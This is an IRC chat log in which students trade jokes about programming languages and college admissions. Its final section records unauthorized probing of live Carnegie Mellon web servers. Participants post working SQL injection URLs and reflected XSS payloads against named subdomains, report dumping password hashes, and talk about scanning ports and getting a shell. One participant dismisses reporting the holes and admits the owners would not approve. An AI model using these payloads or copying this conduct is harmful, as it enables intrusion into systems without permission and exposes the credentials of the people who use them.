[2015-03-27T23:03:10-0400] <grantwu> Is there any particular reason why you asked about C vs C++?
[2015-03-27T23:03:12-0400] <sdamashek> if you're coming from Java and want to stick with some sort of object oriented system, then I'd say C++
[2015-03-27T23:03:23-0400] <+awe> z3t: do Rust instead of both then. :)
[2015-03-27T23:03:29-0400] <sdamashek> what about python or ruby?
[2015-03-27T23:03:55-0400] <grantwu> z3t what kind of things do you do?
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[2015-03-27T23:08:59-0400] <z3t> grantwu: I don't have any particular projects other than APCS labs at the moment. Only other thing I do is random programs for CTFs.
[2015-03-27T23:09:41-0400] <grantwu> Hrm, I'm kind of making this stuff up, but: Learn C and assembly to learn how systems work, learn a functional language to learn how to express computation, learn Python to get stuff done
[2015-03-27T23:09:57-0400] <+awe> z3t: do Rust!
[2015-03-27T23:10:04-0400] <grantwu> Learn Rust for programming in the large
[2015-03-27T23:10:24-0400] <+awe> I recommend Rust or OCaml for solid general-purpose languages.
[2015-03-27T23:11:10-0400] <grantwu> And I guess there's always shell scripting and LaTeX :P
[2015-03-27T23:11:11-0400] <LittleBobbyTables> I don't recommend Rust.
[2015-03-27T23:11:19-0400] <+awe> LittleBobbyTables: why not?
[2015-03-27T23:11:23-0400] <LittleBobbyTables> Only because awe is in love with it and tries to convert everyone to it.
[2015-03-27T23:11:31-0400] <grantwu> kek
[2015-03-27T23:11:36-0400] <+awe> Why would I want you to use a bad language though?
[2015-03-27T23:11:52-0400] <grantwu> LBT is being le troll
[2015-03-27T23:12:03-0400] <LittleBobbyTables> because you hate us?
[2015-03-27T23:12:06-0400] <grantwu> Also learn the language of le math
[2015-03-27T23:12:25-0400] <bob_twinkles> Haskell!
[2015-03-27T23:12:30-0400] <+awe> LittleBobbyTables: I don't hate you, I hate JacobEdelman. :)
[2015-03-27T23:12:31-0400] <LittleBobbyTables> fuck haskell
[2015-03-27T23:12:40-0400] <+awe> I wouldn't recommend Haskell for most people.
[2015-03-27T23:12:40-0400] <grantwu> JacobEdelman: I luv u
[2015-03-27T23:12:43-0400] <LittleBobbyTables> can we make a bot that bans on every mention of that word
[2015-03-27T23:12:46-0400] <bob_twinkles> <3 haskell
[2015-03-27T23:12:50-0400] <bob_twinkles> it's great
[2015-03-27T23:12:52-0400] <bob_twinkles> just not useful
[2015-03-27T23:12:53-0400] <LittleBobbyTables> even if it's "fuck haskell", ban on it.
[2015-03-27T23:12:58-0400] <+awe> I also love it. I just wouldn't recommend it to most people.
[2015-03-27T23:13:06-0400] <bob_twinkles> pretty much
[2015-03-27T23:13:12-0400] <bob_twinkles> they use  big words too much
[2015-03-27T23:13:13-0400] <grantwu> Learning Haskell is good for you!
[2015-03-27T23:13:23-0400] <bob_twinkles> not really 
[2015-03-27T23:13:28-0400] <grantwu> It makes you a better computer scientist
[2015-03-27T23:13:44-0400] <bob_twinkles> once you've seen how nicely everything composes in haskell, you get annoyed at even the minor friction points in python =(
[2015-03-27T23:13:48-0400] <+awe> It makes you enjoy computing more.
[2015-03-27T23:13:54-0400] <grantwu> (SML) taught me how to use recursion in C more.
[2015-03-27T23:14:04-0400] <grantwu> *better
[2015-03-27T23:16:11-0400] <grantwu> Haskell == SML modulo laziness and typeclasses and syntax, sooooo
[2015-03-27T23:19:49-0400] <z3t> I have concluded that I am going to learn Perl 5.
[2015-03-27T23:20:52-0400] <LittleBobbyTables> why
[2015-03-27T23:22:23-0400] <jwoglom> z3t: ...
[2015-03-27T23:22:30-0400] <jwoglom> why would you purposefully chose to learn pearl
[2015-03-27T23:22:43-0400] <z3t> it sounds fun
[2015-03-27T23:23:38-0400] <LittleBobbyTables> If you like torture
[2015-03-27T23:23:49-0400] <sdamashek> z3t: at least learn perl 6
[2015-03-27T23:23:55-0400] <sdamashek> it has a lot of improvements
[2015-03-27T23:24:08-0400] <z3t> nope
[2015-03-27T23:24:13-0400] <z3t> perl 5
[2015-03-27T23:24:19-0400] <jwoglom> may as well learn php 4 while you're at it
[2015-03-27T23:24:46-0400] <z3t> oh ffs windows defender runs for 2 hours, scanning ~3mil files, and only finds Firesheep, which I have installed intentionally -_-
[2015-03-27T23:25:25-0400] <LittleBobbyTables> that's because it's kinda shit
[2015-03-27T23:25:30-0400] <+awe> z3t: anything but Perl.
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[2015-03-27T23:12:30-0400] <+awe> LittleBobbyTables: I don't hate you, I hate JacobEdelman. :)
[2015-03-27T23:12:31-0400] <LittleBobbyTables> fuck haskell
[2015-03-27T23:12:40-0400] <+awe> I wouldn't recommend Haskell for most people.
[2015-03-27T23:12:40-0400] <grantwu> JacobEdelman: I luv u
[2015-03-27T23:12:43-0400] <LittleBobbyTables> can we make a bot that bans on every mention of that word
[2015-03-27T23:12:46-0400] <bob_twinkles> <3 haskell
[2015-03-27T23:12:50-0400] <bob_twinkles> it's great
[2015-03-27T23:12:52-0400] <bob_twinkles> just not useful
[2015-03-27T23:12:53-0400] <LittleBobbyTables> even if it's "fuck haskell", ban on it.
[2015-03-27T23:12:58-0400] <+awe> I also love it. I just wouldn't recommend it to most people.
[2015-03-27T23:13:06-0400] <bob_twinkles> pretty much
[2015-03-27T23:13:12-0400] <bob_twinkles> they use  big words too much
[2015-03-27T23:13:13-0400] <grantwu> Learning Haskell is good for you!
[2015-03-27T23:13:23-0400] <bob_twinkles> not really 
[2015-03-27T23:13:28-0400] <grantwu> It makes you a better computer scientist
[2015-03-27T23:13:44-0400] <bob_twinkles> once you've seen how nicely everything composes in haskell, you get annoyed at even the minor friction points in python =(
[2015-03-27T23:13:48-0400] <+awe> It makes you enjoy computing more.
[2015-03-27T23:13:54-0400] <grantwu> (SML) taught me how to use recursion in C more.
[2015-03-27T23:14:04-0400] <grantwu> *better
[2015-03-27T23:16:11-0400] <grantwu> Haskell == SML modulo laziness and typeclasses and syntax, sooooo
[2015-03-27T23:19:49-0400] <z3t> I have concluded that I am going to learn Perl 5.
[2015-03-27T23:20:52-0400] <LittleBobbyTables> why
[2015-03-27T23:22:23-0400] <jwoglom> z3t: ...
[2015-03-27T23:22:30-0400] <jwoglom> why would you purposefully chose to learn pearl
[2015-03-27T23:22:43-0400] <z3t> it sounds fun
[2015-03-27T23:23:38-0400] <LittleBobbyTables> If you like torture
[2015-03-27T23:23:49-0400] <sdamashek> z3t: at least learn perl 6
[2015-03-27T23:23:55-0400] <sdamashek> it has a lot of improvements
[2015-03-27T23:24:08-0400] <z3t> nope
[2015-03-27T23:24:13-0400] <z3t> perl 5
[2015-03-27T23:24:19-0400] <jwoglom> may as well learn php 4 while you're at it
[2015-03-27T23:24:46-0400] <z3t> oh ffs windows defender runs for 2 hours, scanning ~3mil files, and only finds Firesheep, which I have installed intentionally -_-
[2015-03-27T23:25:25-0400] <LittleBobbyTables> that's because it's kinda shit
[2015-03-27T23:25:30-0400] <+awe> z3t: anything but Perl.
[2015-03-27T23:25:46-0400] <z3t> think I could get a job with brainfuck?
[2015-03-27T23:25:52-0400] <bob_twinkles> nope
[2015-03-27T23:26:01-0400] <z3t> oh :(
[2015-03-27T23:26:20-0400] <bob_twinkles> well, not unless you use brainfuck as a super simple turing-complete langauge to do some fundamental CS research
[2015-03-27T23:28:35-0400] <LittleBobbyTables> didn't someone right a brainfuck golfer in brainfuck
[2015-03-27T23:30:01-0400] <grantwu> z3t: YES YOU CAN
[2015-03-27T23:30:04-0400] <grantwu> I had an interview today.
[2015-03-27T23:30:15-0400] <grantwu> I wrote a brainfuck interpreter.
[2015-03-27T23:30:39-0400] <LittleBobbyTables> "What's the best language, and why is it brainfuck?"
[2015-03-27T23:30:40-0400] <grantwu> If I get lucky I'll get to see awe :O
[2015-03-27T23:33:30-0400] <z3t> this doesn't seem too bad: https://wiki.theory.org/YourLanguageSucks#Perl_5_sucks_because
[2015-03-27T23:36:33-0400] <LittleBobbyTables> Perl is worse than Python because people wanted it worse.
[2015-03-27T23:36:36-0400] <LittleBobbyTables> It's a great quote.
[2015-03-27T23:36:41-0400] <LittleBobbyTables> I forgot about it.
[2015-03-27T23:36:44-0400] <bob_twinkles> "You will not understand your code 6 months later"
[2015-03-27T23:37:01-0400] <LittleBobbyTables> Just try explaining a ref to a C programmer. They will say "oh, it's a pointer!" except it isn't. Not really. It's like a pointer, or so I hear. As a Perl programmer, I know that it's not quite a pointer, but I don't know exactly what a pointer is (while I do know what a ref is, but I can't explain it -- neither could Larry Wall: He called it a 'thingy'). 
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[2015-03-27T23:12:30-0400] <+awe> LittleBobbyTables: I don't hate you, I hate JacobEdelman. :)
[2015-03-27T23:12:31-0400] <LittleBobbyTables> fuck haskell
[2015-03-27T23:12:40-0400] <+awe> I wouldn't recommend Haskell for most people.
[2015-03-27T23:12:40-0400] <grantwu> JacobEdelman: I luv u
[2015-03-27T23:12:43-0400] <LittleBobbyTables> can we make a bot that bans on every mention of that word
[2015-03-27T23:12:46-0400] <bob_twinkles> <3 haskell
[2015-03-27T23:12:50-0400] <bob_twinkles> it's great
[2015-03-27T23:12:52-0400] <bob_twinkles> just not useful
[2015-03-27T23:12:53-0400] <LittleBobbyTables> even if it's "fuck haskell", ban on it.
[2015-03-27T23:12:58-0400] <+awe> I also love it. I just wouldn't recommend it to most people.
[2015-03-27T23:13:06-0400] <bob_twinkles> pretty much
[2015-03-27T23:13:12-0400] <bob_twinkles> they use  big words too much
[2015-03-27T23:13:13-0400] <grantwu> Learning Haskell is good for you!
[2015-03-27T23:13:23-0400] <bob_twinkles> not really 
[2015-03-27T23:13:28-0400] <grantwu> It makes you a better computer scientist
[2015-03-27T23:13:44-0400] <bob_twinkles> once you've seen how nicely everything composes in haskell, you get annoyed at even the minor friction points in python =(
[2015-03-27T23:13:48-0400] <+awe> It makes you enjoy computing more.
[2015-03-27T23:13:54-0400] <grantwu> (SML) taught me how to use recursion in C more.
[2015-03-27T23:14:04-0400] <grantwu> *better
[2015-03-27T23:16:11-0400] <grantwu> Haskell == SML modulo laziness and typeclasses and syntax, sooooo
[2015-03-27T23:19:49-0400] <z3t> I have concluded that I am going to learn Perl 5.
[2015-03-27T23:20:52-0400] <LittleBobbyTables> why
[2015-03-27T23:22:23-0400] <jwoglom> z3t: ...
[2015-03-27T23:22:30-0400] <jwoglom> why would you purposefully chose to learn pearl
[2015-03-27T23:22:43-0400] <z3t> it sounds fun
[2015-03-27T23:23:38-0400] <LittleBobbyTables> If you like torture
[2015-03-27T23:23:49-0400] <sdamashek> z3t: at least learn perl 6
[2015-03-27T23:23:55-0400] <sdamashek> it has a lot of improvements
[2015-03-27T23:24:08-0400] <z3t> nope
[2015-03-27T23:24:13-0400] <z3t> perl 5
[2015-03-27T23:24:19-0400] <jwoglom> may as well learn php 4 while you're at it
[2015-03-27T23:24:46-0400] <z3t> oh ffs windows defender runs for 2 hours, scanning ~3mil files, and only finds Firesheep, which I have installed intentionally -_-
[2015-03-27T23:25:25-0400] <LittleBobbyTables> that's because it's kinda shit
[2015-03-27T23:25:30-0400] <+awe> z3t: anything but Perl.
[2015-03-27T23:25:46-0400] <z3t> think I could get a job with brainfuck?
[2015-03-27T23:25:52-0400] <bob_twinkles> nope
[2015-03-27T23:26:01-0400] <z3t> oh :(
[2015-03-27T23:26:20-0400] <bob_twinkles> well, not unless you use brainfuck as a super simple turing-complete langauge to do some fundamental CS research
[2015-03-27T23:28:35-0400] <LittleBobbyTables> didn't someone right a brainfuck golfer in brainfuck
[2015-03-27T23:30:01-0400] <grantwu> z3t: YES YOU CAN
[2015-03-27T23:30:04-0400] <grantwu> I had an interview today.
[2015-03-27T23:30:15-0400] <grantwu> I wrote a brainfuck interpreter.
[2015-03-27T23:30:39-0400] <LittleBobbyTables> "What's the best language, and why is it brainfuck?"
[2015-03-27T23:30:40-0400] <grantwu> If I get lucky I'll get to see awe :O
[2015-03-27T23:33:30-0400] <z3t> this doesn't seem too bad: https://wiki.theory.org/YourLanguageSucks#Perl_5_sucks_because
[2015-03-27T23:36:33-0400] <LittleBobbyTables> Perl is worse than Python because people wanted it worse.
[2015-03-27T23:36:36-0400] <LittleBobbyTables> It's a great quote.
[2015-03-27T23:36:41-0400] <LittleBobbyTables> I forgot about it.
[2015-03-27T23:36:44-0400] <bob_twinkles> "You will not understand your code 6 months later"
[2015-03-27T23:37:01-0400] <LittleBobbyTables> Just try explaining a ref to a C programmer. They will say "oh, it's a pointer!" except it isn't. Not really. It's like a pointer, or so I hear. As a Perl programmer, I know that it's not quite a pointer, but I don't know exactly what a pointer is (while I do know what a ref is, but I can't explain it -- neither could Larry Wall: He called it a 'thingy'). 
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[2015-03-28T00:15:58-0400] <+awe> \[23:30:40]  <grantwu>	If I get lucky I'll get to see awe 😯
[2015-03-28T00:16:03-0400] <+awe> grantwu: you're going to UMass?
[2015-03-28T00:16:14-0400] <grantwu> Boston
[2015-03-28T00:16:18-0400] <grantwu> wait
[2015-03-28T00:16:18-0400] <+awe> I'm two hours from Boston.
[2015-03-28T00:16:22-0400] <grantwu> oh derp
[2015-03-28T00:16:26-0400] <+awe> The nearest city to me is Hartford, CT.
[2015-03-28T00:16:27-0400] <grantwu> *facepalm* never mind.
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[2015-03-27T23:12:53-0400] <LittleBobbyTables> even if it's "fuck haskell", ban on it.
[2015-03-27T23:12:58-0400] <+awe> I also love it. I just wouldn't recommend it to most people.
[2015-03-27T23:13:06-0400] <bob_twinkles> pretty much
[2015-03-27T23:13:12-0400] <bob_twinkles> they use  big words too much
[2015-03-27T23:13:13-0400] <grantwu> Learning Haskell is good for you!
[2015-03-27T23:13:23-0400] <bob_twinkles> not really 
[2015-03-27T23:13:28-0400] <grantwu> It makes you a better computer scientist
[2015-03-27T23:13:44-0400] <bob_twinkles> once you've seen how nicely everything composes in haskell, you get annoyed at even the minor friction points in python =(
[2015-03-27T23:13:48-0400] <+awe> It makes you enjoy computing more.
[2015-03-27T23:13:54-0400] <grantwu> (SML) taught me how to use recursion in C more.
[2015-03-27T23:14:04-0400] <grantwu> *better
[2015-03-27T23:16:11-0400] <grantwu> Haskell == SML modulo laziness and typeclasses and syntax, sooooo
[2015-03-27T23:19:49-0400] <z3t> I have concluded that I am going to learn Perl 5.
[2015-03-27T23:20:52-0400] <LittleBobbyTables> why
[2015-03-27T23:22:23-0400] <jwoglom> z3t: ...
[2015-03-27T23:22:30-0400] <jwoglom> why would you purposefully chose to learn pearl
[2015-03-27T23:22:43-0400] <z3t> it sounds fun
[2015-03-27T23:23:38-0400] <LittleBobbyTables> If you like torture
[2015-03-27T23:23:49-0400] <sdamashek> z3t: at least learn perl 6
[2015-03-27T23:23:55-0400] <sdamashek> it has a lot of improvements
[2015-03-27T23:24:08-0400] <z3t> nope
[2015-03-27T23:24:13-0400] <z3t> perl 5
[2015-03-27T23:24:19-0400] <jwoglom> may as well learn php 4 while you're at it
[2015-03-27T23:24:46-0400] <z3t> oh ffs windows defender runs for 2 hours, scanning ~3mil files, and only finds Firesheep, which I have installed intentionally -_-
[2015-03-27T23:25:25-0400] <LittleBobbyTables> that's because it's kinda shit
[2015-03-27T23:25:30-0400] <+awe> z3t: anything but Perl.
[2015-03-27T23:25:46-0400] <z3t> think I could get a job with brainfuck?
[2015-03-27T23:25:52-0400] <bob_twinkles> nope
[2015-03-27T23:26:01-0400] <z3t> oh :(
[2015-03-27T23:26:20-0400] <bob_twinkles> well, not unless you use brainfuck as a super simple turing-complete langauge to do some fundamental CS research
[2015-03-27T23:28:35-0400] <LittleBobbyTables> didn't someone right a brainfuck golfer in brainfuck
[2015-03-27T23:30:01-0400] <grantwu> z3t: YES YOU CAN
[2015-03-27T23:30:04-0400] <grantwu> I had an interview today.
[2015-03-27T23:30:15-0400] <grantwu> I wrote a brainfuck interpreter.
[2015-03-27T23:30:39-0400] <LittleBobbyTables> "What's the best language, and why is it brainfuck?"
[2015-03-27T23:30:40-0400] <grantwu> If I get lucky I'll get to see awe :O
[2015-03-27T23:33:30-0400] <z3t> this doesn't seem too bad: https://wiki.theory.org/YourLanguageSucks#Perl_5_sucks_because
[2015-03-27T23:36:33-0400] <LittleBobbyTables> Perl is worse than Python because people wanted it worse.
[2015-03-27T23:36:36-0400] <LittleBobbyTables> It's a great quote.
[2015-03-27T23:36:41-0400] <LittleBobbyTables> I forgot about it.
[2015-03-27T23:36:44-0400] <bob_twinkles> "You will not understand your code 6 months later"
[2015-03-27T23:37:01-0400] <LittleBobbyTables> Just try explaining a ref to a C programmer. They will say "oh, it's a pointer!" except it isn't. Not really. It's like a pointer, or so I hear. As a Perl programmer, I know that it's not quite a pointer, but I don't know exactly what a pointer is (while I do know what a ref is, but I can't explain it -- neither could Larry Wall: He called it a 'thingy'). 
[2015-03-28T00:15:58-0400] <+awe> \[23:30:40]  <grantwu>	If I get lucky I'll get to see awe 😯
[2015-03-28T00:16:02-0400] <+awe> grantwu: you're going to UMass?
[2015-03-28T00:16:14-0400] <grantwu> Boston
[2015-03-28T00:16:17-0400] <grantwu> wait
[2015-03-28T00:16:18-0400] <+awe> I'm two hours from Boston.
[2015-03-28T00:16:22-0400] <grantwu> oh derp
[2015-03-28T00:16:25-0400] <+awe> The nearest city to me is Hartford, CT.
[2015-03-28T00:16:26-0400] <grantwu> *facepalm* never mind.
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[2015-03-28T00:18:55-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-27T23:12:53-0400] <LittleBobbyTables> even if it's "fuck haskell", ban on it.
[2015-03-27T23:12:58-0400] <+awe> I also love it. I just wouldn't recommend it to most people.
[2015-03-27T23:13:06-0400] <bob_twinkles> pretty much
[2015-03-27T23:13:12-0400] <bob_twinkles> they use  big words too much
[2015-03-27T23:13:13-0400] <grantwu> Learning Haskell is good for you!
[2015-03-27T23:13:23-0400] <bob_twinkles> not really 
[2015-03-27T23:13:28-0400] <grantwu> It makes you a better computer scientist
[2015-03-27T23:13:44-0400] <bob_twinkles> once you've seen how nicely everything composes in haskell, you get annoyed at even the minor friction points in python =(
[2015-03-27T23:13:48-0400] <+awe> It makes you enjoy computing more.
[2015-03-27T23:13:54-0400] <grantwu> (SML) taught me how to use recursion in C more.
[2015-03-27T23:14:04-0400] <grantwu> *better
[2015-03-27T23:16:11-0400] <grantwu> Haskell == SML modulo laziness and typeclasses and syntax, sooooo
[2015-03-27T23:19:49-0400] <z3t> I have concluded that I am going to learn Perl 5.
[2015-03-27T23:20:52-0400] <LittleBobbyTables> why
[2015-03-27T23:22:23-0400] <jwoglom> z3t: ...
[2015-03-27T23:22:30-0400] <jwoglom> why would you purposefully chose to learn pearl
[2015-03-27T23:22:43-0400] <z3t> it sounds fun
[2015-03-27T23:23:38-0400] <LittleBobbyTables> If you like torture
[2015-03-27T23:23:49-0400] <sdamashek> z3t: at least learn perl 6
[2015-03-27T23:23:55-0400] <sdamashek> it has a lot of improvements
[2015-03-27T23:24:08-0400] <z3t> nope
[2015-03-27T23:24:13-0400] <z3t> perl 5
[2015-03-27T23:24:19-0400] <jwoglom> may as well learn php 4 while you're at it
[2015-03-27T23:24:46-0400] <z3t> oh ffs windows defender runs for 2 hours, scanning ~3mil files, and only finds Firesheep, which I have installed intentionally -_-
[2015-03-27T23:25:25-0400] <LittleBobbyTables> that's because it's kinda shit
[2015-03-27T23:25:30-0400] <+awe> z3t: anything but Perl.
[2015-03-27T23:25:46-0400] <z3t> think I could get a job with brainfuck?
[2015-03-27T23:25:52-0400] <bob_twinkles> nope
[2015-03-27T23:26:01-0400] <z3t> oh :(
[2015-03-27T23:26:20-0400] <bob_twinkles> well, not unless you use brainfuck as a super simple turing-complete langauge to do some fundamental CS research
[2015-03-27T23:28:35-0400] <LittleBobbyTables> didn't someone right a brainfuck golfer in brainfuck
[2015-03-27T23:30:01-0400] <grantwu> z3t: YES YOU CAN
[2015-03-27T23:30:04-0400] <grantwu> I had an interview today.
[2015-03-27T23:30:15-0400] <grantwu> I wrote a brainfuck interpreter.
[2015-03-27T23:30:39-0400] <LittleBobbyTables> "What's the best language, and why is it brainfuck?"
[2015-03-27T23:30:40-0400] <grantwu> If I get lucky I'll get to see awe :O
[2015-03-27T23:33:30-0400] <z3t> this doesn't seem too bad: https://wiki.theory.org/YourLanguageSucks#Perl_5_sucks_because
[2015-03-27T23:36:33-0400] <LittleBobbyTables> Perl is worse than Python because people wanted it worse.
[2015-03-27T23:36:36-0400] <LittleBobbyTables> It's a great quote.
[2015-03-27T23:36:41-0400] <LittleBobbyTables> I forgot about it.
[2015-03-27T23:36:44-0400] <bob_twinkles> "You will not understand your code 6 months later"
[2015-03-27T23:37:01-0400] <LittleBobbyTables> Just try explaining a ref to a C programmer. They will say "oh, it's a pointer!" except it isn't. Not really. It's like a pointer, or so I hear. As a Perl programmer, I know that it's not quite a pointer, but I don't know exactly what a pointer is (while I do know what a ref is, but I can't explain it -- neither could Larry Wall: He called it a 'thingy'). 
[2015-03-28T00:15:58-0400] <+awe> \[23:30:40]  <grantwu>	If I get lucky I'll get to see awe 😯
[2015-03-28T00:16:02-0400] <+awe> grantwu: you're going to UMass?
[2015-03-28T00:16:14-0400] <grantwu> Boston
[2015-03-28T00:16:17-0400] <grantwu> wait
[2015-03-28T00:16:18-0400] <+awe> I'm two hours from Boston.
[2015-03-28T00:16:22-0400] <grantwu> oh derp
[2015-03-28T00:16:25-0400] <+awe> The nearest city to me is Hartford, CT.
[2015-03-28T00:16:26-0400] <grantwu> *facepalm* never mind.
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[2015-03-28T00:19:56-0400] <LittleBobbyTables> I'm going to UMass.
[2015-03-28T00:27:06-0400] <+awe> LittleBobbyTables: Really?
[2015-03-28T00:27:11-0400] <+awe> LittleBobbyTables: When?
[2015-03-28T00:27:57-0400] <alokpathy> Welp, no CMU
[2015-03-28T00:28:53-0400] <LittleBobbyTables> Probably in like
[2015-03-28T00:28:54-0400] <LittleBobbyTables> 20 years
[2015-03-28T00:30:26-0400] <z3t> no CMU? :(
[2015-03-28T00:30:31-0400] <alokpathy> Nop.
[2015-03-28T00:30:50-0400] <z3t> jerks
[2015-03-28T00:30:58-0400] <alokpathy> Lol.
[2015-03-28T00:31:01-0400] <grantwu> :C
[2015-03-28T00:32:01-0400] <LittleBobbyTables> fuck cmu
[2015-03-28T00:33:17-0400] <grantwu> LBT: Did you apply?
[2015-03-28T00:33:49-0400] <sdamashek> alokpathy: aww
[2015-03-28T00:33:54-0400] <LittleBobbyTables> no
[2015-03-28T00:34:52-0400] <grantwu> I suppose now is an inappropriate time to complain about being at CMU ._.
[2015-03-28T00:35:05-0400] <jwoglom> alokpathy: admissions just came out?
[2015-03-28T00:35:09-0400] <grantwu> jwoglom: Yeah.
[2015-03-28T00:35:19-0400] <z3t> (412) 268-2082 <- call to yell at admissions office
[2015-03-28T00:35:23-0400] <jwoglom> sorry to hear that :/
[2015-03-28T00:35:39-0400] <grantwu> ...no call to yell at the admissions office
[2015-03-28T00:35:58-0400] <sdamashek> sad :(
[2015-03-28T00:36:09-0400] <jwoglom> well, only...5 more months until i theoretically need to start thinking about college. yay.
[2015-03-28T00:36:36-0400] <LittleBobbyTables> theoretically is the best kind of retically
[2015-03-28T00:38:24-0400] <jwoglom> s/retically/rectally/
[2015-03-28T00:38:28-0400] <jwoglom> ( ͡° ͜ʖ ͡°) 
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[2015-03-28T00:42:17-0400] <z3t> someone give me an idea for a random project pls :(
[2015-03-28T00:43:02-0400] <LittleBobbyTables> update mantra
[2015-03-28T00:43:06-0400] <LittleBobbyTables> to the current version of firefox
[2015-03-28T00:43:10-0400] <LittleBobbyTables> instead of version 18
[2015-03-28T00:43:37-0400] <z3t> o.o
[2015-03-28T00:44:04-0400] <z3t> that doesn't sound very fun
[2015-03-28T00:44:15-0400] <LittleBobbyTables> you didn't ask for it to be fun
[2015-03-28T00:44:16-0400] <grantwu> Help me build a website
[2015-03-28T00:44:19-0400] <LittleBobbyTables> it's also incredibly useful
[2015-03-28T00:44:45-0400] <grantwu> CMU's current organization registration website is absolutely awful
[2015-03-28T00:45:33-0400] <grantwu> It tries to do too many things and fails at all of them.
[2015-03-28T00:51:26-0400] <z3t> ooo CMU subdomain SQLi http://www.casos.cs.cmu.edu/projects/projectTools.php?ID=43%27
[2015-03-28T00:52:04-0400] <grantwu> ?
[2015-03-28T00:52:25-0400] <LittleBobbyTables> lets see this...
[2015-03-28T00:52:33-0400] <z3t> it's legit LBT
[2015-03-28T00:53:08-0400] <LittleBobbyTables> can confirm
[2015-03-28T00:53:32-0400] <LittleBobbyTables> it's not even blind
[2015-03-28T00:53:38-0400] <z3t> lmao
[2015-03-28T00:53:53-0400] <LittleBobbyTables> apparently only one column though
[2015-03-28T00:53:55-0400] <LittleBobbyTables> wtf is this
[2015-03-28T00:54:56-0400] <grantwu> See? Everything is broken.
[2015-03-28T00:55:16-0400] <LittleBobbyTables> actually
[2015-03-28T00:55:18-0400] <LittleBobbyTables> im so confused
[2015-03-28T00:55:26-0400] <LittleBobbyTables> order by 1/*  works
[2015-03-28T00:55:28-0400] <LittleBobbyTables> order by 2/*  breaks
[2015-03-28T00:55:36-0400] <LittleBobbyTables> select 1 breaks
[2015-03-28T00:55:42-0400] <LittleBobbyTables> because "uneven amount of columns"
[2015-03-28T00:56:35-0400] <LittleBobbyTables> err, #  , cause apparently /* is somewhat protected?
[2015-03-28T00:56:36-0400] <LittleBobbyTables> idk
[2015-03-28T00:57:21-0400] <LittleBobbyTables> this is really confusing
[2015-03-28T00:57:44-0400] <z3t> boring XSS: http://www.frc.ri.cmu.edu/robots/ssrobot.php?cycle=1&position=<script>alert("LBT_is_gei")</script>
[2015-03-28T00:58:21-0400] <LittleBobbyTables> http://gyazo.com/4c91b048754a83f2ceff8d6a417fc7f7
[2015-03-28T00:58:55-0400] <z3t> boo noscript
[2015-03-28T00:59:08-0400] <LittleBobbyTables> It's on by default on Tor, sorry.
[2015-03-28T00:59:43-0400] <z3t> I turn it off unless I'm going to hidden services
[2015-03-28T01:00:09-0400] <LittleBobbyTables> The only time it's off is when I'm on IRCCloud, because it needs it.
[2015-03-28T01:00:17-0400] <LittleBobbyTables> Mostly because I don't browser to other things.
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[2015-03-28T01:01:07-0400] <LittleBobbyTables> I wonder, if by some miracle, this somehow links to cmu's regular db
[2015-03-28T01:01:11-0400] <LittleBobbyTables> I really, REALLY doubt it.
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[2015-03-28T01:01:20-0400] <LittleBobbyTables> But it'd be damn hilarious
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[2015-03-28T01:02:17-0400] <sdamashek> lol http://www.casos.cs.cmu.edu/projects/projectTools.php?ID=43%20OR%201=1
[2015-03-28T01:02:29-0400] <sdamashek> that's good
[2015-03-28T01:03:46-0400] <LittleBobbyTables> jesus fuck
[2015-03-28T01:03:50-0400] <LittleBobbyTables> how many casos tables does he have
[2015-03-28T01:04:02-0400] <LittleBobbyTables> http://gyazo.com/5a7c4ea8e7ca6502762314085d5fa022
[2015-03-28T01:05:45-0400] <z3t> Might be shellable...
[2015-03-28T01:06:06-0400] <sdamashek> if they're running sql server maybe
[2015-03-28T01:06:11-0400] <sdamashek> wait no, it's mysql
[2015-03-28T01:06:41-0400] <z3t> well I bet their service configurations aren't that great, will check ports in a sec
[2015-03-28T01:06:57-0400] <LittleBobbyTables> password incoming
[2015-03-28T01:07:01-0400] <sdamashek> I mean it's possible you could write files
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[2015-03-28T01:08:04-0400] <LittleBobbyTables> http://gyazo.com/af7848c86d36586e92a800630d1b6d39
[2015-03-28T01:09:02-0400] <LittleBobbyTables> that's weird hashing
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[2015-03-28T01:21:05-0400] <z3t> another boring XSS http://acme.able.cs.cmu.edu/pubs/browse.php?q=<script>alert("LBT_is_gei")</script>&s_in=all
[2015-03-28T01:21:29-0400] <grantwu> z3t: What is that supposed to do?
[2015-03-28T01:22:36-0400] <z3t> the XSS?
[2015-03-28T01:22:49-0400] <grantwu> Yeah
[2015-03-28T01:23:54-0400] <z3t> Just inject javascript or html into the page, http://acme.able.cs.cmu.edu/pubs/browse.php?q="/><h1>LBT_is_gei</h1>&s_in=all
[2015-03-28T01:24:19-0400] <grantwu> Nothing seems to happen
[2015-03-28T01:24:23-0400] <grantwu> I get the script text in the input box
[2015-03-28T01:25:00-0400] <z3t> Are you on Chrome?
[2015-03-28T01:25:05-0400] <grantwu> Yes
[2015-03-28T01:25:09-0400] <z3t> Chrome filters it
[2015-03-28T01:25:14-0400] <z3t> If you did it on firefox it'd show it
[2015-03-28T01:25:14-0400] <grantwu> Ah.
[2015-03-28T01:25:48-0400] <LittleBobbyTables> You can bypass chromes XSS filter.
[2015-03-28T01:26:51-0400] <z3t> btw LBT the server is running MySQL 5.0.67
[2015-03-28T01:26:55-0400] <z3t> which is way out of date I think
[2015-03-28T01:27:11-0400] <LittleBobbyTables> yeah
[2015-03-28T01:27:17-0400] <LittleBobbyTables> I got bored of it.
[2015-03-28T01:27:30-0400] <LittleBobbyTables> You can create users if you wanted to.
[2015-03-28T01:27:38-0400] <LittleBobbyTables> You can do persistent XSS with it
[2015-03-28T01:35:39-0400] <z3t> someone give me a fun project idea ;l
[2015-03-28T01:37:02-0400] <grantwu> Reporting all of these to the contact of the website and then if they don't respond advisor@andrew.cmu.edu
[2015-03-28T01:37:30-0400] <grantwu> That's my project idea hue.
[2015-03-28T01:37:45-0400] <z3t> pfft why report them
[2015-03-28T01:38:06-0400] <grantwu> Because.... reasons!
[2015-03-28T01:38:14-0400] <grantwu> Maybe they'll ask you to do more work for them idk
[2015-03-28T01:40:26-0400] <z3t> they probably don't want me looking for this stuff without their permission
[2015-03-28T01:41:14-0400] <grantwu> *shrug* I doubt anything bad would happen
[2015-03-28T01:55:14-0400] <z3t> any programming related ideas?
[2015-03-28T02:00:00-0400] <bob_twinkles> markov chains entirely in SQL
[2015-03-28T02:00:51-0400] <z3t> "fun project"
[2015-03-28T02:01:13-0400] <bob_twinkles> could be
[2015-03-28T02:01:48-0400] <bob_twinkles> 'specially if you do it in postgres
[2015-03-28T02:04:20-0400] <z3t> 2am, imma sleep. GN all.
